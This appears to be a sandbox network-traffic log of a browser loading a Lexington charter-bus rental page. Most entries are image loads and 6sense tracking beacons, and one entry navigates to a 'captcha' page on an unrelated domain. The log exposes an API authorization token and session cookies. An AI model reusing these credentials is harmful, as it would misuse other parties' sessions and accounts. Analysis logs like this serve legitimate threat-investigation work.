Source: global traffic	HTTP traffic detected: GET /s/player/804c67d2/www-widgetapi.vflset/www-widgetapi.js HTTP/1.1host: www.youtube.comsec-ch-ua-platform: "Windows"user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0accept: /x-client-data: CIe2yQEIprbJAQipncoBCMDdygEIlqHLAQiJo8sBCIWgzQEIxeHOAQ==sec-fetch-site: cross-sitesec-fetch-mode: no-corssec-fetch-dest: scriptsec-fetch-storage-access: activereferer: https://gogocharters.com/accept-encoding: identityaccept-language: en-US,en;q=0.9cookie: YSC=OHSAs2OGD6kcookie: VISITOR_INFO1_LIVE=L-W7LhVuhTgcookie: VISITOR_PRIVACY_METADATA=CgJVUxIEGgAgHA%3D%3Dcookie: __Secure-ROLLOUT_TOKEN=COiunN7jhMP6JRDirbykqrWNAxjirbykqrWNAw%3D%3D
Source: global traffic	HTTP traffic detected: GET /v1/beacon/img.gif?token=b30b4e83068a50cbbd396642a2a67178&svisitor=null&visitor=130d9aab-07d7-43a9-86b9-f96832aa1ca7&session=64a22a28-9fdf-436a-88cf-d1865f53886d&event=active_time_track&q=%7B%22currentTime%22%3A%22Wed%2C%2021%20May%202025%2019%3A48%3A01%20GMT%22%2C%22lastTrackTime%22%3A%22Wed%2C%2021%20May%202025%2019%3A48%3A00%20GMT%22%2C%22timeSpent%22%3A%221015%22%2C%22totalTimeSpent%22%3A%221015%22%7D&isIframe=false&m=%7B%22description%22%3A%22Need%20to%20rent%20a%20charter%20bus%20or%20minibus%20in%20Lexington%3F%20Call%20GOGO%20Charters%20Lexington%20at%20859-215-0605%20to%20get%20your%20free%20charter%20bus%20quote%20today!%22%2C%22keywords%22%3A%22%22%2C%22title%22%3A%22Lexington%20Charter%20Bus%20Rental%20%7C%20GOGO%20Charters%20Lexington%22%7D&cb=&r=&thirdParty=%7B%7D&v2=1&pageURL=https%3A%2F%2Fgogocharters.com%2Flexington-charter-bus&pageViewId=3068eee0-b71d-4b54-8a75-b3fea727bf26&an_uid=0&webTagId=85148f45-208d-4e90-9861-30048671efb8&v=1.1.31 HTTP/1.1host: b.6sc.cosec-ch-ua-platform: "Windows"user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8sec-fetch-site: cross-sitesec-fetch-mode: no-corssec-fetch-dest: imagesec-fetch-storage-access: activereferer: https://gogo
Source: global traffic	HTTP traffic detected: GET /v3/company/details HTTP/1.1host: epsilon.6sense.comsec-ch-ua-platform: "Windows"authorization: Token 27ef31915be8823c33720c04e0bd8cade118f5bex-6s-customid: WebTag 85148f45-208d-4e90-9861-30048671efb8user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0accept: /origin: https://gogocharters.comsec-fetch-site: cross-sitesec-fetch-mode: corssec-fetch-dest: emptysec-fetch-storage-access: activereferer: https://gogocharters.com/accept-encoding: identityaccept-language: en-US,en;q=0.9priority: u=1, i
Source: global traffic	HTTP traffic detected: GET /v1/beacon/img.gif?token=b30b4e83068a50cbbd396642a2a67178&svisitor=null&visitor=130d9aab-07d7-43a9-86b9-f96832aa1ca7&session=64a22a28-9fdf-436a-88cf-d1865f53886d&event=active_time_track&q=%7B%22currentTime%22%3A%22Wed%2C%2021%20May%202025%2019%3A48%3A02%20GMT%22%2C%22lastTrackTime%22%3A%22Wed%2C%2021%20May%202025%2019%3A48%3A01%20GMT%22%2C%22timeSpent%22%3A%221032%22%2C%22totalTimeSpent%22%3A%222047%22%7D&isIframe=false&m=%7B%22description%22%3A%22Need%20to%20rent%20a%20charter%20bus%20or%20minibus%20in%20Lexington%3F%20Call%20GOGO%20Charters%20Lexington%20at%20859-215-0605%20to%20get%20your%20free%20charter%20bus%20quote%20today!%22%2C%22keywords%22%3A%22%22%2C%22title%22%3A%22Lexington%20Charter%20Bus%20Rental%20%7C%20GOGO%20Charters%20Lexington%22%7D&cb=&r=&thirdParty=%7B%7D&v2=1&pageURL=https%3A%2F%2Fgogocharters.com%2Flexington-charter-bus&pageViewId=3068eee0-b71d-4b54-8a75-b3fea727bf26&an_uid=0&webTagId=85148f45-208d-4e90-9861-30048671efb8&v=1.1.31 HTTP/1.1host: b.6sc.cosec-ch-ua-platform: "Windows"user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8sec-fetch-site: cross-sitesec-fetch-mode: no-corssec-fetch-dest: imagesec-fetch-storage-access: activereferer: https://gogo
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: c.6sc.coConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /img_new_design//amenties/storage-bays-in-charter-bus.jpg HTTP/1.1host: gogocharters.comuser-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36accept: /sec-fetch-site: nonesec-fetch-mode: corssec-fetch-dest: emptysec-fetch-storage-access: activeaccept-encoding: identityaccept-language: en-US,en;q=0.9cookie: PHPSESSID=ki8a0tpms5eldd937h25qbkac8cookie: phoneNo=859-215-0605cookie: _gd_visitor=130d9aab-07d7-43a9-86b9-f96832aa1ca7cookie: _gd_session=64a22a28-9fdf-436a-88cf-d1865f53886dcookie: _an_uid=0cookie: _gcl_au=1.1.2043224603.1747856882priority: u=1, i
Source: global traffic	HTTP traffic detected: GET /img_new_design//amenties/power-outlets-in-charter-bus.jpg HTTP/1.1host: gogocharters.comuser-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36accept: /sec-fetch-site: nonesec-fetch-mode: corssec-fetch-dest: emptysec-fetch-storage-access: activeaccept-encoding: identityaccept-language: en-US,en;q=0.9cookie: PHPSESSID=ki8a0tpms5eldd937h25qbkac8cookie: phoneNo=859-215-0605cookie: _gd_visitor=130d9aab-07d7-43a9-86b9-f96832aa1ca7cookie: _gd_session=64a22a28-9fdf-436a-88cf-d1865f53886dcookie: _an_uid=0cookie: _gcl_au=1.1.2043224603.1747856882priority: u=1, i
Source: global traffic	HTTP traffic detected: GET /img_new_design//amenties/reclining-seats-and-seatbelts-in-charter-bus.jpg HTTP/1.1host: gogocharters.comuser-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36accept: /sec-fetch-site: nonesec-fetch-mode: corssec-fetch-dest: emptysec-fetch-storage-access: activeaccept-encoding: identityaccept-language: en-US,en;q=0.9cookie: PHPSESSID=ki8a0tpms5eldd937h25qbkac8cookie: phoneNo=859-215-0605cookie: _gd_visitor=130d9aab-07d7-43a9-86b9-f96832aa1ca7cookie: _gd_session=64a22a28-9fdf-436a-88cf-d1865f53886dcookie: _an_uid=0cookie: _gcl_au=1.1.2043224603.1747856882priority: u=1, i
Source: global traffic	HTTP traffic detected: GET /img_new_design//amenties/bathroom-in-charter-bus.jpg HTTP/1.1host: gogocharters.comuser-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36accept: /sec-fetch-site: nonesec-fetch-mode: corssec-fetch-dest: emptysec-fetch-storage-access: activeaccept-encoding: identityaccept-language: en-US,en;q=0.9cookie: PHPSESSID=ki8a0tpms5eldd937h25qbkac8cookie: phoneNo=859-215-0605cookie: _gd_visitor=130d9aab-07d7-43a9-86b9-f96832aa1ca7cookie: _gd_session=64a22a28-9fdf-436a-88cf-d1865f53886dcookie: _an_uid=0cookie: _gcl_au=1.1.2043224603.1747856882priority: u=1, i
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1host: ipv6.6sc.couser-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36accept: /sec-fetch-site: nonesec-fetch-mode: corssec-fetch-dest: emptysec-fetch-storage-access: activeaccept-encoding: identityaccept-language: en-US,en;q=0.9priority: u=1, i
Source: global traffic	HTTP traffic detected: GET /img_new_design//amenties/lights-and-vents-charter-bus.jpg HTTP/1.1host: gogocharters.comuser-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36accept: /sec-fetch-site: nonesec-fetch-mode: corssec-fetch-dest: emptysec-fetch-storage-access: activeaccept-encoding: identityaccept-language: en-US,en;q=0.9cookie: PHPSESSID=ki8a0tpms5eldd937h25qbkac8cookie: phoneNo=859-215-0605cookie: _gd_visitor=130d9aab-07d7-43a9-86b9-f96832aa1ca7cookie: _gd_session=64a22a28-9fdf-436a-88cf-d1865f53886dcookie: _an_uid=0cookie: _gcl_au=1.1.2043224603.1747856882priority: u=1, i
Source: global traffic	HTTP traffic detected: GET /img_new_design//amenties/media-connections-in-charter-bus.jpg HTTP/1.1host: gogocharters.comuser-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36accept: /sec-fetch-site: nonesec-fetch-mode: corssec-fetch-dest: emptysec-fetch-storage-access: activeaccept-encoding: identityaccept-language: en-US,en;q=0.9cookie: PHPSESSID=ki8a0tpms5eldd937h25qbkac8cookie: phoneNo=859-215-0605cookie: _gd_visitor=130d9aab-07d7-43a9-86b9-f96832aa1ca7cookie: _gd_session=64a22a28-9fdf-436a-88cf-d1865f53886dcookie: _an_uid=0cookie: _gcl_au=1.1.2043224603.1747856882priority: u=1, i
Source: global traffic	HTTP traffic detected: GET /img_new_design/amenties/exterior/GOGO_Minibus.jpg HTTP/1.1host: gogocharters.comuser-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36accept: /sec-fetch-site: nonesec-fetch-mode: corssec-fetch-dest: emptysec-fetch-storage-access: activeaccept-encoding: identityaccept-language: en-US,en;q=0.9cookie: PHPSESSID=ki8a0tpms5eldd937h25qbkac8cookie: phoneNo=859-215-0605cookie: _gd_visitor=130d9aab-07d7-43a9-86b9-f96832aa1ca7cookie: _gd_session=64a22a28-9fdf-436a-88cf-d1865f53886dcookie: _an_uid=0cookie: _gcl_au=1.1.2043224603.1747856882priority: u=1, i
Source: global traffic	HTTP traffic detected: GET /img_new_design/amenties/exterior/GOGO_56_passenger_bus.jpg HTTP/1.1host: gogocharters.comuser-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36accept: /sec-fetch-site: nonesec-fetch-mode: corssec-fetch-dest: emptysec-fetch-storage-access: activeaccept-encoding: identityaccept-language: en-US,en;q=0.9cookie: PHPSESSID=ki8a0tpms5eldd937h25qbkac8cookie: phoneNo=859-215-0605cookie: _gd_visitor=130d9aab-07d7-43a9-86b9-f96832aa1ca7cookie: _gd_session=64a22a28-9fdf-436a-88cf-d1865f53886dcookie: _an_uid=0cookie: _gcl_au=1.1.2043224603.1747856882priority: u=1, i
Source: global traffic	HTTP traffic detected: GET /v1/beacon/img.gif?token=b30b4e83068a50cbbd396642a2a67178&svisitor=null&visitor=130d9aab-07d7-43a9-86b9-f96832aa1ca7&session=64a22a28-9fdf-436a-88cf-d1865f53886d&event=a_pageload&q=%7B%22pageLoadTime%22%3A%22Wed%2C%2021%20May%202025%2019%3A48%3A00%20GMT%22%7D&isIframe=false&m=%7B%22description%22%3A%22Need%20to%20rent%20a%20charter%20bus%20or%20minibus%20in%20Lexington%3F%20Call%20GOGO%20Charters%20Lexington%20at%20859-215-0605%20to%20get%20your%20free%20charter%20bus%20quote%20today!%22%2C%22keywords%22%3A%22%22%2C%22title%22%3A%22Lexington%20Charter%20Bus%20Rental%20%7C%20GOGO%20Charters%20Lexington%22%7D&cb=&r=&thirdParty=%7B%7D&v2=1&pageURL=https%3A%2F%2Fgogocharters.com%2Flexington-charter-bus&pageViewId=3068eee0-b71d-4b54-8a75-b3fea727bf26&webTagId=85148f45-208d-4e90-9861-30048671efb8&v=1.1.31 HTTP/1.1host: b.6sc.couser-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36accept: /sec-fetch-site: nonesec-fetch-mode: corssec-fetch-dest: emptysec-fetch-storage-access: activeaccept-encoding: identityaccept-language: en-US,en;q=0.9priority: u=1, i
Source: global traffic	HTTP traffic detected: GET /img_new_design//amenties/microphone-pa-system-in-charter-bus.jpg HTTP/1.1host: gogocharters.comuser-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36accept: /sec-fetch-site: nonesec-fetch-mode: corssec-fetch-dest: emptysec-fetch-storage-access: activeaccept-encoding: identityaccept-language: en-US,en;q=0.9cookie: PHPSESSID=ki8a0tpms5eldd937h25qbkac8cookie: phoneNo=859-215-0605cookie: _gd_visitor=130d9aab-07d7-43a9-86b9-f96832aa1ca7cookie: _gd_session=64a22a28-9fdf-436a-88cf-d1865f53886dcookie: _an_uid=0cookie: _gcl_au=1.1.2043224603.1747856882priority: u=1, i
Source: global traffic	HTTP traffic detected: GET /v1/beacon/img.gif?token=b30b4e83068a50cbbd396642a2a67178&svisitor=null&visitor=130d9aab-07d7-43a9-86b9-f96832aa1ca7&session=64a22a28-9fdf-436a-88cf-d1865f53886d&event=active_time_track&q=%7B%22currentTime%22%3A%22Wed%2C%2021%20May%202025%2019%3A48%3A01%20GMT%22%2C%22lastTrackTime%22%3A%22Wed%2C%2021%20May%202025%2019%3A48%3A00%20GMT%22%2C%22timeSpent%22%3A%221015%22%2C%22totalTimeSpent%22%3A%221015%22%7D&isIframe=false&m=%7B%22description%22%3A%22Need%20to%20rent%20a%20charter%20bus%20or%20minibus%20in%20Lexington%3F%20Call%20GOGO%20Charters%20Lexington%20at%20859-215-0605%20to%20get%20your%20free%20charter%20bus%20quote%20today!%22%2C%22keywords%22%3A%22%22%2C%22title%22%3A%22Lexington%20Charter%20Bus%20Rental%20%7C%20GOGO%20Charters%20Lexington%22%7D&cb=&r=&thirdParty=%7B%7D&v2=1&pageURL=https%3A%2F%2Fgogocharters.com%2Flexington-charter-bus&pageViewId=3068eee0-b71d-4b54-8a75-b3fea727bf26&an_uid=0&webTagId=85148f45-208d-4e90-9861-30048671efb8&v=1.1.31 HTTP/1.1host: b.6sc.couser-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36accept: /sec-fetch-site: nonesec-fetch-mode: corssec-fetch-dest: emptysec-fetch-storage-access: activeaccept-encoding: identityaccept-language: en-US,en;q=0.9priority: u=1, i
Source: global traffic	HTTP traffic detected: GET /img_new_design//amenties/tv-screen-in-charter-bus.jpg HTTP/1.1host: gogocharters.comuser-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36accept: /sec-fetch-site: nonesec-fetch-mode: corssec-fetch-dest: emptysec-fetch-storage-access: activeaccept-encoding: identityaccept-language: en-US,en;q=0.9cookie: PHPSESSID=ki8a0tpms5eldd937h25qbkac8cookie: phoneNo=859-215-0605cookie: _gd_visitor=130d9aab-07d7-43a9-86b9-f96832aa1ca7cookie: _gd_session=64a22a28-9fdf-436a-88cf-d1865f53886dcookie: _an_uid=0cookie: _gcl_au=1.1.2043224603.1747856882priority: u=1, i
Source: global traffic	HTTP traffic detected: GET /v1/beacon/img.gif?token=b30b4e83068a50cbbd396642a2a67178&svisitor=null&visitor=130d9aab-07d7-43a9-86b9-f96832aa1ca7&session=64a22a28-9fdf-436a-88cf-d1865f53886d&event=ni%3AasyncSettingsAudit&q=%7B%22settings%22%3A%22%5B%7B%5C%22name%5C%22%3A%5C%22setToken%5C%22%2C%5C%22value%5C%22%3A%5C%22b30b4e83068a50cbbd396642a2a67178%5C%22%2C%5C%22dateTime%5C%22%3A%5C%22Wed%2C%2021%20May%202025%2019%3A48%3A00%20GMT%5C%22%2C%5C%22timeSincePageLoad%5C%22%3A%5C%220%5C%22%7D%2C%7B%5C%22name%5C%22%3A%5C%22disableCookies%5C%22%2C%5C%22value%5C%22%3A%5C%22false%5C%22%2C%5C%22dateTime%5C%22%3A%5C%22Wed%2C%2021%20May%202025%2019%3A48%3A00%20GMT%5C%22%2C%5C%22timeSincePageLoad%5C%22%3A%5C%220%5C%22%7D%2C%7B%5C%22name%5C%22%3A%5C%22setEpsilonKey%5C%22%2C%5C%22value%5C%22%3A%5C%2227ef31915be8823c33720c04e0bd8cade118f5be%5C%22%2C%5C%22dateTime%5C%22%3A%5C%22Wed%2C%2021%20May%202025%2019%3A48%3A00%20GMT%5C%22%2C%5C%22timeSincePageLoad%5C%22%3A%5C%220%5C%22%7D%2C%7B%5C%22name%5C%22%3A%5C%22enableIPv6Ping%5C%22%2C%5C%22value%5C%22%3A%5C%22true%5C%22%2C%5C%22dateTime%5C%22%3A%5C%22Wed%2C%2021%20May%202025%2019%3A48%3A00%20GMT%5C%22%2C%5C%22timeSincePageLoad%5C%22%3A%5C%220%5C%22%7D%2C%7B%5C%22name%5C%22%3A%5C%22enableIgnorePageUrlHash%5C%22%2C%5C%22value%5C%22%3A%5C%22true%5C%22%2C%5C%22dateTime%5C%22%3A%5C%22Wed%2C%2021%20May%202025%2019%3A48%3A00%20GMT%5C%22%2C%5C%22timeSincePageLoad%5C%22%3A%5C%220%5C%22%7D%2C%7B%5C%22name%5C%22%3A%5C%22enableRetargeting%5C%
Source: global traffic	HTTP traffic detected: GET /getuidj HTTP/1.1host: secure.adnxs.comuser-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36accept: /sec-fetch-site: nonesec-fetch-mode: corssec-fetch-dest: emptysec-fetch-storage-access: activeaccept-encoding: identityaccept-language: en-US,en;q=0.9priority: u=1, i
Source: global traffic	HTTP traffic detected: GET /css_new_design/ajax-loader.gif HTTP/1.1host: gogocharters.comuser-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36accept: /sec-fetch-site: nonesec-fetch-mode: corssec-fetch-dest: emptysec-fetch-storage-access: activeaccept-encoding: identityaccept-language: en-US,en;q=0.9cookie: PHPSESSID=ki8a0tpms5eldd937h25qbkac8cookie: phoneNo=859-215-0605cookie: _gd_visitor=130d9aab-07d7-43a9-86b9-f96832aa1ca7cookie: _gd_session=64a22a28-9fdf-436a-88cf-d1865f53886dcookie: _an_uid=0cookie: _gcl_au=1.1.2043224603.1747856882priority: u=1, i
Source: global traffic	HTTP traffic detected: GET /img_new_design/city/icon2.png HTTP/1.1host: gogocharters.comuser-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36accept: /sec-fetch-site: nonesec-fetch-mode: corssec-fetch-dest: emptysec-fetch-storage-access: activeaccept-encoding: identityaccept-language: en-US,en;q=0.9cookie: PHPSESSID=ki8a0tpms5eldd937h25qbkac8cookie: phoneNo=859-215-0605cookie: _gd_visitor=130d9aab-07d7-43a9-86b9-f96832aa1ca7cookie: _gd_session=64a22a28-9fdf-436a-88cf-d1865f53886dcookie: _an_uid=0cookie: _gcl_au=1.1.2043224603.1747856882priority: u=1, i
Source: global traffic	HTTP traffic detected: GET /img_new_design/city/icon4.png HTTP/1.1host: gogocharters.comuser-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36accept: /sec-fetch-site: nonesec-fetch-mode: corssec-fetch-dest: emptysec-fetch-storage-access: activeaccept-encoding: identityaccept-language: en-US,en;q=0.9cookie: PHPSESSID=ki8a0tpms5eldd937h25qbkac8cookie: phoneNo=859-215-0605cookie: _gd_visitor=130d9aab-07d7-43a9-86b9-f96832aa1ca7cookie: _gd_session=64a22a28-9fdf-436a-88cf-d1865f53886dcookie: _an_uid=0cookie: _gcl_au=1.1.2043224603.1747856882priority: u=1, i
Source: global traffic	HTTP traffic detected: GET /img_new_design/56-passenger-charter-bus.png HTTP/1.1host: gogocharters.comuser-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36accept: /sec-fetch-site: nonesec-fetch-mode: corssec-fetch-dest: emptysec-fetch-storage-access: activeaccept-encoding: identityaccept-language: en-US,en;q=0.9cookie: PHPSESSID=ki8a0tpms5eldd937h25qbkac8cookie: phoneNo=859-215-0605cookie: _gd_visitor=130d9aab-07d7-43a9-86b9-f96832aa1ca7cookie: _gd_session=64a22a28-9fdf-436a-88cf-d1865f53886dcookie: _an_uid=0cookie: _gcl_au=1.1.2043224603.1747856882priority: u=1, i
Source: global traffic	HTTP traffic detected: GET /img_new_design/18_passenger_minibus.png HTTP/1.1host: gogocharters.comuser-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36accept: /sec-fetch-site: nonesec-fetch-mode: corssec-fetch-dest: emptysec-fetch-storage-access: activeaccept-encoding: identityaccept-language: en-US,en;q=0.9cookie: PHPSESSID=ki8a0tpms5eldd937h25qbkac8cookie: phoneNo=859-215-0605cookie: _gd_visitor=130d9aab-07d7-43a9-86b9-f96832aa1ca7cookie: _gd_session=64a22a28-9fdf-436a-88cf-d1865f53886dcookie: _an_uid=0cookie: _gcl_au=1.1.2043224603.1747856882priority: u=1, i
Source: global traffic	HTTP traffic detected: GET /img_new_design/24-passenger-minibus.png HTTP/1.1host: gogocharters.comuser-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36accept: /sec-fetch-site: nonesec-fetch-mode: corssec-fetch-dest: emptysec-fetch-storage-access: activeaccept-encoding: identityaccept-language: en-US,en;q=0.9cookie: PHPSESSID=ki8a0tpms5eldd937h25qbkac8cookie: phoneNo=859-215-0605cookie: _gd_visitor=130d9aab-07d7-43a9-86b9-f96832aa1ca7cookie: _gd_session=64a22a28-9fdf-436a-88cf-d1865f53886dcookie: _an_uid=0cookie: _gcl_au=1.1.2043224603.1747856882priority: u=1, i
Source: global traffic	HTTP traffic detected: GET /img_new_design/city/icon1.png HTTP/1.1host: gogocharters.comuser-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36accept: /sec-fetch-site: nonesec-fetch-mode: corssec-fetch-dest: emptysec-fetch-storage-access: activeaccept-encoding: identityaccept-language: en-US,en;q=0.9cookie: PHPSESSID=ki8a0tpms5eldd937h25qbkac8cookie: phoneNo=859-215-0605cookie: _gd_visitor=130d9aab-07d7-43a9-86b9-f96832aa1ca7cookie: _gd_session=64a22a28-9fdf-436a-88cf-d1865f53886dcookie: _an_uid=0cookie: _gcl_au=1.1.2043224603.1747856882priority: u=1, i
Source: global traffic	HTTP traffic detected: GET /img_new_design/city/icon3.png HTTP/1.1host: gogocharters.comuser-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36accept: /sec-fetch-site: nonesec-fetch-mode: corssec-fetch-dest: emptysec-fetch-storage-access: activeaccept-encoding: identityaccept-language: en-US,en;q=0.9cookie: PHPSESSID=ki8a0tpms5eldd937h25qbkac8cookie: phoneNo=859-215-0605cookie: _gd_visitor=130d9aab-07d7-43a9-86b9-f96832aa1ca7cookie: _gd_session=64a22a28-9fdf-436a-88cf-d1865f53886dcookie: _an_uid=0cookie: _gcl_au=1.1.2043224603.1747856882priority: u=1, i
Source: global traffic	HTTP traffic detected: GET /img_new_design/school-bus-semiperfil.png HTTP/1.1host: gogocharters.comuser-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36accept: /sec-fetch-site: nonesec-fetch-mode: corssec-fetch-dest: emptysec-fetch-storage-access: activeaccept-encoding: identityaccept-language: en-US,en;q=0.9cookie: PHPSESSID=ki8a0tpms5eldd937h25qbkac8cookie: phoneNo=859-215-0605cookie: _gd_visitor=130d9aab-07d7-43a9-86b9-f96832aa1ca7cookie: _gd_session=64a22a28-9fdf-436a-88cf-d1865f53886dcookie: _an_uid=0cookie: _gcl_au=1.1.2043224603.1747856882priority: u=1, i
Source: global traffic	HTTP traffic detected: GET /img_new_design/uma-logo.png HTTP/1.1host: gogocharters.comuser-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36accept: /sec-fetch-site: nonesec-fetch-mode: corssec-fetch-dest: emptysec-fetch-storage-access: activeaccept-encoding: identityaccept-language: en-US,en;q=0.9cookie: PHPSESSID=ki8a0tpms5eldd937h25qbkac8cookie: phoneNo=859-215-0605cookie: _gd_visitor=130d9aab-07d7-43a9-86b9-f96832aa1ca7cookie: _gd_session=64a22a28-9fdf-436a-88cf-d1865f53886dcookie: _an_uid=0cookie: _gcl_au=1.1.2043224603.1747856882priority: u=1, i
Source: global traffic	HTTP traffic detected: GET /captcha/ HTTP/1.1host: ia-robotics.comsec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"upgrade-insecure-requests: 1user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7sec-fetch-site: cross-sitesec-fetch-mode: navigatesec-fetch-dest: documentreferer: https://gogocharters.com/accept-encoding: identityaccept-language: en-US,en;q=0.9priority: u=0, i
Source: global traffic	HTTP traffic detected: GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=YpUTyLr5k7Fb2Gl&MD=MccxyMTh HTTP/1.1host: slscr.update.microsoft.comaccept: /user-agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33accept-encoding: identity
Source: global traffic	HTTP traffic detected: GET /v1/beacon/img.gif?token=b30b4e83068a50cbbd396642a2a67178&svisitor=null&visitor=130d9aab-07d7-43a9-86b9-f96832aa1ca7&session=64a22a28-9fdf-436a-88cf-d1865f53886d&event=active_time_track&q=%7B%22currentTime%22%3A%22Wed%2C%2021%20May%202025%2019%3A48%3A02%20GMT%22%2C%22lastTrackTime%22%3A%22Wed%2C%2021%20May%202025%2019%3A48%3A01%20GMT%22%2C%22timeSpent%22%3A%221032%22%2C%22totalTimeSpent%22%3A%222047%22%7D&isIframe=false&m=%7B%22description%22%3A%22Need%20to%20rent%20a%20charter%20bus%20or%20minibus%20in%20Lexington%3F%20Call%20GOGO%20Charters%20Lexington%20at%20859-215-0605%20to%20get%20your%20free%20charter%20bus%20quote%20today!%22%2C%22keywords%22%3A%22%22%2C%22title%22%3A%22Lexington%20Charter%20Bus%20Rental%20%7C%20GOGO%20Charters%20Lexington%22%7D&cb=&r=&thirdParty=%7B%7D&v2=1&pageURL=https%3A%2F%2Fgogocharters.com%2Flexington-charter-bus&pageViewId=3068eee0-b71d-4b54-8a75-b3fea727bf26&an_uid=0&webTagId=85148f45-208d-4e90-9861-30048671efb8&v=1.1.31 HTTP/1.1host: b.6sc.couser-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36accept: /sec-fetch-site: nonesec-fetch-mode: corssec-fetch-dest: emptysec-fetch-storage-access: activeaccept-encoding: identityaccept-language: en-US,en;q=0.9priority: u=1, i
